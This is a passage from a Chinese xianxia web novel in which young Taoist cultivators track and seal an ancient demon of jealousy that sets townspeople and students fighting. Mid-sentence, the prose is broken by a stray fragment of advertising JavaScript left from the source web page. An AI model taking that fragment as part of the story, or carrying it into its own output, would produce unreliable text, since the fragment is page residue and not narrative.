赵大海道:“先踏实把活儿干了吧,今天晚上还得值夜,我去睡一会儿。” 伏顺寻思着再不睡,晚上就起不来了。他从桌子上跳下来道:“等等我。” 众人值了几天夜,街上倒是没有大动静了,但百姓家里照旧鸡飞狗跳的。这天一大早,城里的富商郑老爷家里四五个老婆打架,大老婆带着三姨太和四姨太打二姨太,吵吵的屋顶都要掀翻了。五姨太刚进门没多久,吓得躲在屋里没敢吱声。 众人就见大夫人抡着笤帚从院子里一直打到大街上,二姨太被打的披头散发的,坐在地上放声大哭:“老郑你个没良心的,我是正经人家的女儿,喜欢你才嫁给你做小。你当初说要疼我一辈子,怎么就放任这个泼妇欺负我!” 城里的百姓远远地看着,感觉最近老是有瓜吃,都有点撑着了。 大夫人往地上啐了一口,横眉立目道:“我去你的正经人家,你爹是个烂赌鬼,欠了一百两银子还不上,把你卖到这儿来了。你给老娘提鞋都不配,还想跟我平起平坐!” 郑老爷从屋里出来了,见满街都是看热闹的人,脸都要被丢光了。他一把拉起二姨太,道:“别哭了,回去再说。” 大夫人气得两眼冒火,举起笤帚道:“你还向着这个贱人!” 郑老爷当着这么多人也要面子,摆出威严道:“放肆,谁准你这么跟我说话的!” 大夫人不吃他这一套,一手叉腰道:“老娘当年嫁过来带了多少嫁妆,这些年帮你做生意动用了一大半,你这些小老婆都是我帮你养的。你敢凶我,老娘让你凶我!” 她说着举起笤帚,连郑老爷带着二姨太一起打。其他家丁连忙过来拦着,道:“主母,使不得!使不得啊!” 儿女们也慌忙拖开他们,纷纷道:“娘,别打了,这么多人都看着呢。” 郑家大门前闹得鸡飞狗跳的,郑老爷颜面尽失,怒道:“倒反天罡了,你敢打我!你信不信我休了你!” 一众人好不容易把他们拽回了家里,隐隐约约还能听见二姨太的哭声和大夫人骂骂咧咧的声音。 百姓们散去了,李玉真拢着袖子站在原地,道:“啧啧,老婆娶多了这么吓人的么?” 宋胡缨没说话,转身往回走去。他们昨晚值了一宿夜,此时已经有点困了。李玉真跟在她身边,见她若有所思的。李玉真道:“怎么了?” 宋胡缨道:“不对劲。” 李玉真道:“什么不对劲?” 宋胡缨道:“影子。” 她说话一向这么言简意赅的,李玉真一时也摸不清头脑。宋胡缨方才看见大夫人举起笤帚时,地上的影子里伸出了几根触手,张牙舞爪的十分凶悍,正常人的影子哪有那样的。 她停住了脚步,忽然回过头,就见一大团黑色的妖气呼啸而过,身后跟着一群小一些的黑煤球。它们尖叫着、飞旋着,在空中发出尖锐的嬉笑声,就像个惹了事的小孩儿,十分兴奋。 一般人看不到它,却会生出一股很不舒服的感觉。李玉真的目光追着它们,见几团小黑气与路上的行人擦肩而过,负面情绪就像头发丝一样缠绕在那些人的身上。一个挑着扁担的人跟另一个人撞到了一起,两个人怒目而视,谁也不肯道歉,就这么推搡起来。一团小黑雾嘻嘻直笑,飞起来绕着一只正在打瞌睡的大黄狗飞了一圈。黄狗立起了耳朵,站起来汪汪大叫。 主人出来踢了狗一脚,心烦道:“叫什么!” 大黄狗委屈地闭了嘴,等主人走了,不甘心地朝着那团黑气消失的方向龇起了牙。 宋胡缨道:“你看见了没?” 李玉真道:“看见了,怎么办?” 城里不安了这么久,应该就是这些家伙在捣乱。它胆子不小,大白天还敢在这里招摇过市。宋胡缨当机立断道:“追!” 两人拔腿就跑,撵着那团黑气穿街过巷。黑雾一路到处惹事,所过之处的人们都斗鸡似的异常暴躁,八百年的旧怨都被它撩拨出来了。街边传来琅琅的读书声,黑雾像流星一般,一头扎进了路边的书院,悄然弥漫出千丝万缕的恶意。宋胡缨和李玉真跑到跟前时,就见二楼的学生们已经打起来了。有人把同窗按在栏杆上,拳头雨点似的打下去,一边道:“我让你文章写得比我好,写得好了不起啊!” 另一人把一块砚台砸在另一个人的衣服上,一边嚷道:“你家有钱有什么了不起的?我让你穿新衣裳,我让你穿!” 那股嫉妒的情绪好像会传染,书生们互相撕打着,扯头发戳鼻孔,把书本扔的满天飞。夫子来了他们也在厮打,一点顾忌也没有,简直要把天捅出个窟窿来。老夫子气得胡子都在打颤,接连拍了几下桌子,道:“安静、安静!” 没人理他,甚至有一本书呼啦啦地从他身边飞了过去。老夫子躲在桌子后面,痛心疾首道:“有辱斯文、有辱斯文啊!” 李玉真大约知道刚才郑老爷家里是怎么打起来的了,正想着要不要上去劝架。就见一人一拳砸过去,把一个书生从二楼上打的摔了下来。其他人还在闹哄哄地打架,那人挂在栏杆上拼命挣扎,放声喊道:“救命、救命啊——” 街上的行人都吓了一跳,纷纷道:“不得了,快救人!” 宋胡缨一跃而起,一把提起了那个书生的脖领子,扔面口袋似的把他甩回了二楼学堂里。那人砸在另外几个书生身上,稀里哗啦地倒了一地。宋胡缨轻轻地落在地上,红色的衣裙如同盛开的石榴花,鬓边几条细细的小辫子还在不住摆荡。其他人看着这力大无比的少女,都十分惊愕,安静了下来。 噔噔噔一阵响,李玉真从楼梯上跑过来,道:“没事吧,受伤了吗?” 除了那个差点掉下去的,其他人都没受大伤。但一个个身上沾满了墨水、印泥,脸上有的青了,有的被撕烂了衣服,弄得斯文扫地。老夫子心有余悸,道:“没事,多谢这位壮士……姑娘。” 壮士姑娘一脸冷漠,对一众书生道:“看看下头围了多少人。” 众人下意识往下望去,见街上堵了一圈人,都仰着头看这边的热闹。 宋胡缨的父亲是当朝的大将军,天天耳濡目染的,往人群中一站便带着一股威严。她道:“再打就有人要报官了。你们都是读书人,有案底怎么考功名?” 书生们渐渐冷静下来,觉得刚才那么冲动很不应该,却不知道为什么一瞬间就是十分嫉妒别人,好像积累了好几年的怨气在那一瞬间爆发出来了似的。 老夫子扳着脸道:“刚才是谁先动手的,都给我好生道歉!” 那些少年人有点别扭,小声道了歉,心里还在犯嘀咕,不明白自己刚才怎么像变了个人似的。 “五神卫守,八圣护持;诵之不辍,万神赴机。” 李玉真念诵文昌帝君神咒,手里结了个印,蓝色的符文漂浮在空中。他轻轻向上一送,灵光散开来护住了书院。 那团黑雾觉得这里不好玩了,悄然从角落里顺着柱子淌了下去,就像一团液体一样,啪地一下子溅落在大街上。它东张西望了一会儿,似乎找到了新的乐子,嗖地一下不知道又去了什么地方。 58.鬼面 四 那些妖怪在城里大闹了一场,把百姓都搞得人心惶惶的,不但天一黑就紧闭门户,就连白天街上的人也少了。 段星河等人值了十天夜,去官府交任务。太守看着他们,道:“这就干完了?” 段星河坦然道:“干完了。” 太守道:“可本官听说,白天城里又闹妖了啊。你们难道不帮忙抓一抓?” 段星河道:“我们负责的是保证夜里的平安,还帮您净化了不少地方,跟现在的问题是两回事。” 太守看着他,段星河平静地站在他面前,言外之意是抓妖可以,那是另外的价钱。 能值夜这么久还没出事,就说明他们确实有点本领。太守有些恼火,但又拿他们没办法。他想了想道:“这样吧,你们帮本官把那个捣乱的妖物赶走,我给你们五十两银子。” 段星河之前干那么久就挣五十两已经亏了,这次又给这么点,这官老爷着实是抠得很。他道:“在下能力有限,要不然大人请别人来看看吧。” 这城里有点名气的道士太守都见过,心里清楚不如这几个年轻人厉害。这些人都是过路的,一旦走了,就没人再帮他了。太守有点慌了,连忙道:“别,要不这样,你们只要能制服那个妖怪,我给你们七十,八十……一百两!” 他一副肉疼的表情,觉得自己为了全城百姓的安危简直太慷慨了。段星河把脑袋别在裤腰带上给他干活儿,对方还觉得自己亏了。宋胡缨站在一旁,开口道:“不是一个,一群,大的带小的很麻烦。” 李玉真也道:“我们见过那些妖怪,危险的很,一百两办不了。” 太守被他们吓住了,寻思了半天,觉得自己的城里出现了这些东西实在让人害怕。他道:“那你们想要多少?” 段星河翻了个倍,伸手比了个二。太守的脸顿时就绿了,把他一根手指头按了回去,道:“最多一百五十两,多了你们就别想了。” 段星河看了其他人一眼,众人觉得也行。段星河便道:“好,那先把之前的钱结了吧。” 太守摆了摆手,有人拿了银子过来。太守道:“那你们可千万给我解决好了啊。” 段星河收了钱,微微一笑,道:“大人放心,我们会解决妥当的。” 众人回了客栈,坐在屋里商议接下来该怎么办。段星河道:“那些妖魔不是只在晚上出现么,怎么现在白天也出来了?” 步云邪道:“可能就是咱们每天晚上都巡逻,它不敢夜里出来,才白天闹事的。” 这么说来那妖怪还是有点怕他们的。不过糟糕的是,它一点也不怕那些百姓,又是上身又是挑拨人打架的,行事十分嚣张。 段星河看向宋胡缨,道:“你跟它接触过,感觉怎么样?” 宋胡缨道:“也没交手,就是它挑拨那些书生打架,我救了个人。它后来又不知道去哪儿了。” 赵大海当时也在街上,都看见了,道:“这世道太乱了,妖怪这么个作乱法,让人怎么活?” 李玉真沉吟道:“以前也没这些妖怪的,最近不知道怎么回事,妖魔横生,千奇百怪什么样的都有。” 步云邪道:“应该是薛红玉她们放出来的,那老道士说做梦的时候好像看到了一个红衣女人。” 众人想起了万象门的人祭祀胭脂山大妖的情形,感到了一股阴森的气息。燕丘的萨满说过,信奉虺神的人正在到处寻找上古大妖,把它们从封印中唤醒,让它们去人间作恶,以人类的恐惧、痛苦等负面情绪来滋养他们的神。 伏顺挠了挠头,道:“那咱们要怎么办?” 段星河也没有头绪,这时候就听外头有人敲门。小二哥站在走廊上道:“客倌,有个书生想见你们这儿那位穿青的小道长。” 李玉真指了一下自己,道:“我?” 小二哥道:“啊对,他在楼下等着呢。” 屋里的窗户开着,李玉真下意识看向街对面的书院。此时已经散学了,里头没了人。李玉真跟那些人没有来往,不知道他们来找自己干什么,道:“请他上来吧。” 众人等了片刻,一个白衣书生来了。李玉真定睛一看,正是那天挂在栏杆边上的那人。他道:“喔,是你啊。” 书生手里拿着一包橘子,提着两包点心,放在了桌子上。他一眼看到了宋胡缨,眼睛亮了起来,向她行礼道:“之前多谢姑娘相救,我听说你们住在这里,过来道一声谢。” 他其实想见的就是宋胡缨,但点名找个女孩子不合适,便说要找跟她一起的那个男子。宋胡缨淡淡道:“不必多礼,举手之劳而已。” 段星河道:“阁下是?” 那书生想起还没自我介绍,道:“在下杨钟,在对面书院读书。” 李玉真道:“原来是杨兄,你们书院的人好些了么?” 杨生道:“我没事,其他人也还好。但是……我朋友那天回去之后就病倒了,一直没来学堂。” 李玉真道:“什么朋友,差点把你从楼上推下来的那个?” 杨生显得有点尴尬,道:“是,但也不能怪他,当时他被妖物迷惑了。当时大家都不清醒,也不止他一个那样。” 众人沉默着,仿佛觉得这小书生的脾气也太好了些。段星河道:“你们俩不是朋友么,他干嘛这么恨你?” 杨生垂下了眼,道:“他说我文章写得比他好,我死了他就能考上了。” 这是什么屁话,天底下的考生那么多,那小子不想着把自己的书读好,光看别人不顺眼有什么用。 段星河记得在街上被一个人的文章糊过脸,当时下楼来拿的就是杨生。他道:“那个被风吹下来的文章,是你写的?” 杨钟一怔,想起了当时的情形,原来他们早就见过面了。他道:“是我那位朋友写的,他叫乔子明。” 段星河笑了一声,觉得那人属实是多虑了,那文章不光一笔字写得歪歪扭扭的,内容也十分干枯乏味,毫无文采可言。说的极端一点,把伏顺扔到学堂里按头学三年,写出来的文章都能比他的好。 杨生不知道他在想什么,忧虑道:“我白天去家里看他,他一见我就发脾气,人也病恹恹的,身上好像还有脏东西缠着。” 段星河没说话,杨钟道:“我知道你们本事大得很,那天这位小道长用法力护住了学堂,妖怪就没再来过。这位壮士……壮士姑娘更是力拔山兮气盖世,小鬼看到她都要绕路走的!” 他想起她救自己的英姿,眼里充满了光,崇拜之情溢于言表。宋胡缨总感觉自己被他夸成了一个母夜叉,有点高兴不起来。 段星河道:“你不恨他么?” 杨钟摇了摇头,道:“我们俩从小一起长大,我早年没了父亲,读不起书。他家条件好一点,但也没到特别富裕的程度,却舍得资助我跟他一起上学,我真的很感激他。现在这个样子不是他的本意,我想求求你们,把他身上的脏东西赶走行么?” 段星河正想寻找那妖物的下落,跟他走一趟说不定就能找到。杨生见他们没回答,伸手摸荷包,道:“你们要钱么,我代人写信挣了些钱……” 遇到这种老实人,段星河就忍不住要逗他一逗。他靠在桌边,嘴角一扬道:“我们帮人做法驱邪,一般要收一百两。” 杨钟的身体一僵,顿时不知道怎么办才好了。他嗫嚅道:“能便宜一点么,我攒了二十两,不够的部分给你们打欠条。” 他宁愿欠债也要帮朋友,这份心就很让人动容了。步云邪胳膊肘碰了碰段星河,示意他差不多得了。段星河也不靠他挣钱,道:“今天心情好,收你十两,算开个张。” 那书生顿时振奋起来,生怕他反悔似的,连忙把钱掏了出来。段星河接过银子,轻轻抛了抛,道:“他家在什么地方,带我们去吧。” 乔子明前天把好兄弟从二楼推下去,差点铸成了大错。他清醒过来懊悔的不得了,回到家里就发起了烧。他病的迷迷糊糊的,觉得很对不起杨钟,忽而又听见一个声音对他说:“推得好,夫子整天夸他文章写得好,却老是斥责你不用功。你在他跟前总是抬不起头来,难道不该出口恶气?” 他喃喃道:“他是我朋友,他过得好,我就高兴。” 那声音却讥笑他道:“你差点害死了他,他已经恨你了,你们永远都回不到从前了。” 乔子明挣扎道:“不会……他白天还来看我了!” 那声音道:“你不是把他赶出去了吗?” 乔子明记得自己好像是冲他扔了个枕头。但他现在精神恍惚,生怕杨钟靠得近了,自己再做出什么过分的事情,只能用这种粗暴的方式撵他离开。 他在屋里睡了一天,傍晚醒了过来。他伸手摸了摸额头,已经退烧了,但身体还有些虚弱。他坐了起来,黑色的影子投在脚下,悄然伸出了几条触角。 乔子明浑浑噩噩的,打开门想透一透气。他穿着一身白色的里衣,在晚风里伸了个懒腰。前头的院子里已经点起了灯,爹娘妹妹应该已经吃饭了。他转身回屋,想换身衣裳去前头看看。这时候就听身后有人道:“乔公子?” 乔子明回过头来,却见屋门口站着个年轻的俊道士。他道:“你是谁,不是……你怎么进来的?” 段星河道:“你朋友让我来看看你。” 乔子明有些疑惑,道:“啊?” 段星河淡淡道:“他很担心你,跟我走一趟吧。” 他说话声中,伏顺忽地从门后冒了出来,呼啦一下子把一个麻袋套在乔子明头上,顺手在麻袋外面拍了一张黄符。乔子明吓了一跳,在麻袋里不住挣扎,喊道:“救命啊——” 段星河道了一声得罪,一掌劈在他脑后,麻袋软软地垂了下来。赵大海嘿嘿一笑,把麻袋背在身上,拔腿就走。三人翻过了墙头,一起消失在了茫茫夜色中。 众人来到城头的那间道观里,赵大海把麻袋重重地扔在地上,抹了把汗。 “好家伙,这小子可真沉啊。” 老道士等了好几天,还以为没法子了,正坐在大殿的一角借酒浇愁。步云邪道:“老先生,你怎么又喝酒?” 老道士连忙把酒葫芦藏在了身后,道:“没有,是水,水。” 就算喝醉了弄丢了妖怪,他也改不了,实在是本性难移。他看着麻袋道:“这是?” 段星河道:“那妖怪附在人身上了,想办法把它赶出来就好了。” 老道士十分激动,道:“好得很,还是你们年轻人有办法,比老头儿强多了!” 段星河道:“道长过奖了,来搭把手。” 几人扯开麻袋,把小书生从里头倒了出来。李玉真在屋外贴满了符咒,让那妖怪进得来,出不去。乔子明躺在地上,还没醒过来。步云邪轻声念诵咒语,一片金色的灵光覆盖住了乔子明的身体,光芒越来越亮。小书生身上嗡地一声响,一道黑色的雾气再也藏不住了,陡然冒了出来。 好不容易从面具里逃出去了,没想到这么快又被人抓了回来。那妖物见周围这么多道士,十分惊慌。它一头向外撞去,刚碰到窗户就听嘶啦一声。却是屋外的符咒放出亮光,瞬间灼伤了那妖物。 它骤然缩了起来,回头向另一个方向撞去,却又被烫伤了。李玉真把窗户封的滴水不漏,它像个没头苍蝇似的到处乱撞,发出尖锐的叫声。 “嗷嗷嗷——” 段星河站在它面前,冷冷道:“别折腾了,省点力气吧。” 那团黑雾被人包围着,实在退无可退,发出一个像小孩子一样的声音。 “你们要干什么?” 段星河道:“你就是上古大妖,掌管嫉妒?” 黑雾漂浮在空中,仿佛觉得他很有眼力,傲然道:“是又怎么样?” 段星河道:“这里不欢迎你,别在这儿捣乱。” 嫉妒尖声笑了起来,道:“小子,别太猖狂了,有人的地方就有我的存在。这些人滋养着我,召唤着我,我为什么不来?” 段星河道:“你来能做什么好事,挑拨人打架?” 嫉妒道:“他们本来就恨着彼此,我只不过让他们诚实地面对自己的内心罢了。” 它骤然飞到段星河面前,跟他对视着,发出讥诮的声音,道:“你跟你的朋友之间,难道就没有嫉妒么?” 段星河坦然道:“没有。” 嫉妒嘻嘻一笑,道:“是么,那就让我照一照你的内心好了!” 它说话声中,身体骤然缩小,嗖地一下子钻进了他跟步云邪的身体里。段星河一瞬间僵立在原地,双眼失去了神采。步云邪没有防备,往后晃了一步,也像个人偶一样站着不动了。 老道士吓了一跳,失声道:“啊,这是怎么了?” 众人一时间都不知所措,伏顺和赵大海上前来,扶着他俩靠墙坐下了。 “醒醒,能听见么?” 宋胡缨伸手在他们面前晃了晃,段星河的眼睛茫然无神,意识好像被另一个世界的情形占据了。步云邪直接闭上了眼,好像昏过去了,眉头微微簇着,就像做梦一样。 众人没想到这妖物个头虽然不大,但还挺有能耐的。两个金丹期的人,一下子就被它把元神劫夺了。伏顺有些手足无措,道:“不是,这也太不讲武德了吧。” 李玉真也道:“怎么办?” 他们的神识应该是被嫉妒拉到另外一个空间去了,强行拽回来会对他们造成伤害。宋胡缨道:“等等吧,先护住他们的身体。” 她低声道:“做个金光咒,等那妖物一露头,就……” 她怕妖物觉察到,凑在耳边教他。李玉真的脸骤然红了起来,连忙点头道:“我知道了,我这就结印。” 窗外蝉鸣阵阵,步云邪在星垂殿中醒了过来。外头的天空湛蓝,屋檐下挂着的风铃轻轻摆动。 小笙不知道去了什么地方,他揉着眼坐起来,却见段星河从外头跑了进来。 “好兄弟,你在呢,有空没有?” 无事献殷勤,肯定不怀好意。步云邪淡淡道:“怎么了?” 段星河拿了一叠纸和一卷书过来,露出了欠揍的笑容,道:“帮我抄几份经,明天就要交了,我写不完。” 最近天热,师父让大家抄十遍道德经,静心养气。功课是十天前布置下来的,每天写一遍刚好。步云邪早就写完了,段星河却天天出去野,攒了一堆作业。步云邪道:“还差几遍?” 段星河心虚道:“七……八,可能九遍吧。” 步云邪面无表情地看着他,道:“十天你就写了一遍,早干什么去了?” 段星河搔了搔头道:“我忘了。” 他虽然功课做的不及时,拳脚功夫练得倒是挺勤快的,观里的活儿也干了不少。他毕竟是大师兄,若是当众挨骂也太丢人了。步云邪叹了口气,道:“帮你写两份,剩下的你自己写。” 段星河讨价还价道:“四份。” 步云邪沉下了脸,道:“出切。” 段星河哈哈地笑了起来,道:“别生气嘛,帮我写三份,改天我打只狍子请你。” 外头天光还早,步云邪不想跟他磨牙了,把纸接了过来,打算能写多少是多少。地上铺着竹席子,两人在矮桌跟前坐着,天空中飘着几朵淡淡的云彩,风轻轻吹来。段星河磨着墨,屋里弥漫开一股松香气。 步云邪看着他写的字,在手心里比划了几下,从前他也帮段星河写过功课,对他的笔迹很熟悉。他的字不能说难看,就是有点不拘章法,大开大合的,跟他的人很像。段星河铺开了纸,开始奋笔疾书。步云邪坐在他对面,照着他的字抄经。 写了一阵子,段星河头一点一点的,开始打瞌睡。步云邪轻咳了一声,他便睁开了眼睛,继续抄写。没抄一会儿,他又开始打盹,好像就是不爱跟笔墨打交道。 步云邪没再理他,想着先把手头这份抄完。他写了一阵子,发现段星河趴在桌子上,居然堂而皇之地睡起觉来了。步云邪看着他,心里好像有个声音道:“你帮他写功课,他还在这里睡觉,你不生气么?” 步云邪眼也不抬,道:“醒醒。” 段星河迷迷糊糊道:“我就睡一会儿……” 他的呼吸越来越沉,还真没把自己当外人,就在这里睡着了。步云邪端详了他一阵子,悄悄地凑了过去——在他脸上画了几撇胡子,左边三道,右边三道。笔触凉凉的,段星河喃喃道:“干嘛?” 步云邪道:“你至少要写一遍吧,别太过分啊。” 段星河道:“不是有你么,你写就行了。” 他这么坦然地让别人替他写作业,好像人家欠他似的。步云邪有点生气了,过去蹬了他屁股一脚。段星河一个滚儿摔在地上,无辜地睁开了眼,道:“你干嘛?” 步云 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 邪低头看着他,道:“我帮你写功课,你就不能自觉一点么?” 段星河脸上还带着两撮猫胡子,理直气壮道:“我有很多别的事要做啊,师父和师娘那么看重我,观里的师弟妹都信赖我,这点小事还要我亲自来做么?哎呀,你该不会是嫉妒我吧?” 步云邪注视了他片刻,感觉不对劲,段星河虽然有时候厚脸皮,但也没到这么自吹自擂的地步。 步云邪道:“我嫉妒你什么?” 段星河理所当然道:“嫉妒我长得比你高、比你帅、比你招人喜欢、比你修为强。跟我在一起,你事事处处都不如我,是不是要气死了?” 步云邪非但不气,反而笑了,道:“你是谁?” 段星河茫然地看着他,道:“我是你大师兄啊,还能是谁?” 步云邪断然道:“他最看重兄弟,不会说这样的话。” 他们两个人从小一起长大,之间有绝对的信任,要离间这两个人,对方可是大大地失策了。 段星河脚下的影子伸出了大量的触手,开始不安地蠕动起来。步云邪想起来了,他们本来不该在这里的。他们在天外天的伏妖观里,方才一瞬间,他被妖物拉到了从前的记忆当中。 意识到这一点的瞬间,周围的景象开始动荡起来。那妖物发出尖锐的笑声,道:“这就被你发现了,没意思。” 步云邪冷冷道:“是你模仿的太拙劣了,一点都不像他。而且——我长得比他帅。” 说话声中,他手中凝结了一道金光,朝前方拍了过去。妖物一瞬间消失了,桌上的纸页飞散的漫天都是,周围的一切变成了虚无。步云邪漂浮在虚空之中,每走一步都有水波一圈圈荡开,他四下环顾,到处都是一样的,不知道怎么才能离开这里。 他大声道:“放我出去!” 嫉妒冷笑了一声,道:“我可没囚禁你,你们在彼此的意识当中。除非他对你也毫无嫉妒之心,否则你就要被他关一辈子了!” 逍遥观中,庭院里青松如盖。段星河站在师父的书房外,双手举着一块石板,正在罚站。 他一时间有些恍惚,不知道自己怎么会在这里。他想了一阵子,渐渐回忆起来了,师父让大家抄道德经,他拖到最后一天才想起要写。他去求步云邪帮他一起抄,两个人写了个通宵,到后半夜都睡着了,直到天亮才惊觉完蛋了。 他虽然是大弟子,没做好功课也要受罚。师父扳起脸道:“你不是喜欢在外面野么,那就举着石板去晒一个时辰太阳!” 师父给的石板有三斤重,上头刻着密密麻麻的道德经,正面是上篇,反面是下篇。段星河感受到了知识的重量,心里开始后悔了。 太阳照下来,晒得他额头上直往下淌汗。他把石板挪了挪,挡住了眼睛。举了这么久,他的胳膊又酸又麻,实在难受得很。汗水顺着他脊背往下淌,把衣裳都湿透了。 师父在屋里道:“你知道错了么?” 段星河道:“弟子错了。” 师父道:“错在何处?” 段星河苦着脸道:“弟子身为大师兄,要为师弟妹们做好表率,却偷懒懈怠,实在很不应该。” 师父走了出来,看着他道:“你要多跟你二师弟学习。他功课做的极好,字也写得很工整漂亮。你读书要是有他一半认真,为师就放心了。” 师父还在说着什么,段星河却热的恍恍惚惚的,眼里只有他缓缓开合的口型。 段星河尽力想让自己清醒一点,却听到了一个声音对他说:“师父总是夸步云邪,嫌弃你事事都不如他。你身为大师兄,风头都被他抢走了,你气不气?” 段星河下意识转头看周围,疑心自己中暑了。他凝神内观,道:“你是谁?” 那声音阴沉沉道:“我是你的心魔。” 段星河觉得自己不至于为了这点小事就生出心魔来,感觉有些莫名其妙,道:“阿云比我用功,做的比我好不是应该的么?” 那声音道:“那你就甘愿被他比下去么?” 段星河坦然道:“他有他擅长的事,我有我擅长的事。我们俩是不一样的人,为什么要一起比。” 那声音仿佛恨铁不成钢,道:“我不信,你小子嘴硬,你心里一定充满了嫉妒!” 它在他的意识里到处乱窜,却发现虚无中什么也没有。一想起步云邪,段星河的意识就变得平静柔和起来,好像最好的记忆都是跟他有关的。 它气得浑身发抖,道:“怎么会有你这样的人,不可能!” 段星河在自己的意识中看到了它,道:“你不是我的心魔,我从来没因为这件事困扰过。你给我滚出去——” 他手中凝结了一团灵光,向它重重地打了过去。那团黑雾惨叫了一声,周围的一切骤然消失了,段星河陡然睁开了眼,发现自己身处在伏妖观里。他清醒过来的一瞬间,那团黑雾嗖地一下从他的眉心里钻了出来。 它刚才被段星河打伤了,想要逃跑。李玉真已经提前在那两人周围布下了金光咒,大妖一冒头,顿时被困住了。步云邪从禁锢中醒了过来,倒出一口气,道:“怎么回事?” 金光渐渐收拢,越缩越小,围着它的身体变成了一个圆圆的金色笼子,在空中漂浮着不住转动。它虽然是上古大妖,刚从沉睡中醒过来,还没获得足够的能量。它在金光中不住发抖,身体剧烈地抖动了几下,吐出了一块绿色的碧玺。 碧玺穿过了金光,噼里啪啦地掉在了地上。伏顺捡了起来,在衣服上擦了擦,道:“咦,这是什么好东西?” 之前他们打伤了暴食,那大妖就吐出了一块红色的碧玺。李玉真道:“段兄那里是不是有一块差不多的?” 他一分神,嫉妒铆足了力气一撞,把金光撞了个窟窿,向外飞去。老道士噫了一声,张开双臂,试图把它抓住。可那玩意儿跑的比风还快,用手抓又岂能抓得住? 它飞到大殿门前,身体骤然被门外贴的符咒烧伤了。它惨叫了一声,又退了回来。李玉真使出了降妖咒,无数符文围绕着它旋转。嫉妒体内分裂出许多团黑雾,都是被它吸纳进体内的小妖。 李玉真的灵力极强,闭目吟诵不绝,包裹着妖物的灵光大盛。雾气骤然变成了一张张狰狞的脸,像是被不知名的神力一拳打扁了似的,深深地烙在了铜柱上。 嫉妒大妖被镇在正中,表情扭曲愤怒,仿佛还不甘心。李玉真搓了搓手,道:“不会变面具,直接镇在柱子上了,成不成?” 老道士激动的老泪纵横,道:“太好了,只要跑不了就行。多谢各位小道长,你们可救了我的命了!” 段星河微微一笑,道:“应该的,降妖除魔是我辈的本分。老道长别再喝这么多酒了,对身体不好。” 老道士连声道:“对、对,喝酒误事,老头儿以后戒酒,保证看好它们。” 夜色依旧幽深,城中弥漫的那股压抑的气氛却渐渐消失了。段星河拿出了那块绿色的碧玺,见它上头蕴含着淡淡的灵力,透明清澈,十分漂亮。他从荷包里掏出另一块红碧玺比较了一下,发现两块石头都有鸡蛋那么大,形状很不规则,不像是镶嵌在首饰上的,也不知道有什么用。 段星河在手里搓了搓,石头发出了格拉格拉的声音,道:“这是干什么的?” 李玉真也说不出个所以然来,道:“不知道,这是大妖吐出来的,肯定不是一般的东西。” 段星河收了起来,道:“那就先揣着吧。” 老道士回头望去,道:“这小后生没事吧。” 方才闹了这么大动静,乔子明已经醒了。他缩在墙角看着那些道士跟妖物斗法,简直光怪陆离,骇得一声也不敢出。段星河回过头来,见他看着这边,道:“你没事吧?” 乔子明摇了摇头,感觉后脑勺还有点疼,不知道是怎么回事。段星河把他扶了起来,和气道:“你身上附着脏东西,我们已经把它赶走了,不必担心。” 乔子明感觉自己的意识是比之前清醒多了,深吸了一口气,道:“多谢你们。” 段星河微微一笑,道:“不用谢我,是你朋友让我们来的。” 乔子明怔了一下,低声道:“杨钟?他不恨我么?” 段星河道:“他很担心你,希望你能赶紧好起来,他在学堂等你呢。” 乔子明垂下了眼,片刻点了点头,道:“天亮我就去找他。” 59.琼娘娘 一 段星河等人回去睡了一天,总算歇过来了。次日众人去官府领了赏钱,太守还有些担忧,道:“它不会来了么?” 段星河打包票道:“我们已经把它打伤了,它不敢再来了。” 笼罩了这座城一个多月的阴霾散去了,太守感觉最近城里是安生了不少,大家都心平气和的,不至于像以前那样莫名其妙的就看别人不顺眼了。他付了钱,道:“多谢几位道长,有劳了。” 段星河收了钱,加上之前的酬金,一共二百一十两。虽然比不上给金员外干活儿挣得多,但也不错了。他道:“一人三十五两,一会儿回去分钱。” 伏顺和赵大海十分高兴,他俩早就把钱花的差不多了,正等着钱用呢。 众人走在街上,忽然见于九从对面过来,手里提着几包药。双方打了个照面,段星河停了下来,道:“于兄,最近怎么样?” 于九叹了口气道:“还好,就是刘正阳受了伤一直没好,我天天给他熬药呢。” 伏顺想起那小子提着粪桶从屋顶上摔下来的事,忍不住笑了,幸灾乐祸之情溢于言表。于九道:“你们呢?” 段星河道:“这边没什么事了,我们明天要走了。” 于九喔了一声,道:“我们可能还得在这儿待几天。” 两队人本来就看彼此不顺眼,还是分开行动的好。众人没再说什么,沉默着回了客栈。次日一早,段星河收拾了行李,牵出了马。赵大海驾起了大车,打算继续旅程了。 这时候忽听二楼传来一人的喊声:“等等——” 众人抬起头来,就见一个白衣书生趴在二楼朝他们挥手,却是乔子明。他喊道:“几位大哥,你们要走了吗?” 段星河头上戴着个斗笠,勒马回头道:“是啊。” 杨钟从楼上跑下来,拿了一兜煮鸡蛋塞给他们,道:“幸亏阿明看到你们了,我本来想中午散了学给你们送去的。” 段星河道:“你们和好了么?” 杨钟道:“已经好啦,你们要去哪里?” 段星河微微一笑,道:“修行之人四海为家,自然是哪里有不平事就去哪里。” 伏顺在旁边看着他,觉得这话说得太帅了,以后有机会自己也要这么来一下。 杨钟的眼里充满了崇拜,道:“你们本事高强,肯定有神仙保佑的,祝你们一路顺风!” 段星河道:“你们也好好读书,我们走了。” 他挥了挥手,乔子明在二楼用力挥手,杨钟跟着他们的车往前走了几步,目送着他们走远了,还有些依依不舍。乔子明回头望了一眼,低声喊道:“快回来,夫子来了!” 杨钟连忙转身往学堂里跑去。二楼传来了琅琅的读书声,清晨的阳光照在街上,又是崭新的一天。 大车行在路上,伏顺坐在车里百无聊赖,磕开一个鸡蛋,道:“上好的筑基丹,吃么?” 李玉真靠着车厢假寐,道:“不饿。” 伏顺自己吃了一个,墨墨和小对眼闻见味儿过来了,眼巴巴地望着他,着实是两个先天讨饭圣体。伏顺便又剥了两个鸡蛋,放在手心里喂给了它们。 小对眼一点也不浪费,吃完了又舔他手心里的蛋黄碎末,舌头上的倒刺喇得他痒痒的。伏顺哈哈直笑,搓了搓它脑袋道:“你别说,跟养孩子似的,真可爱啊。” 李玉真睡不着了,从座位底下掏出了地图,发现到下一个镇子还要走一段路程。他道:“起码三天内都得扎营了。” 伏顺道:“也没什么不好的,好久没住帐篷了,还挺怀念呢。” 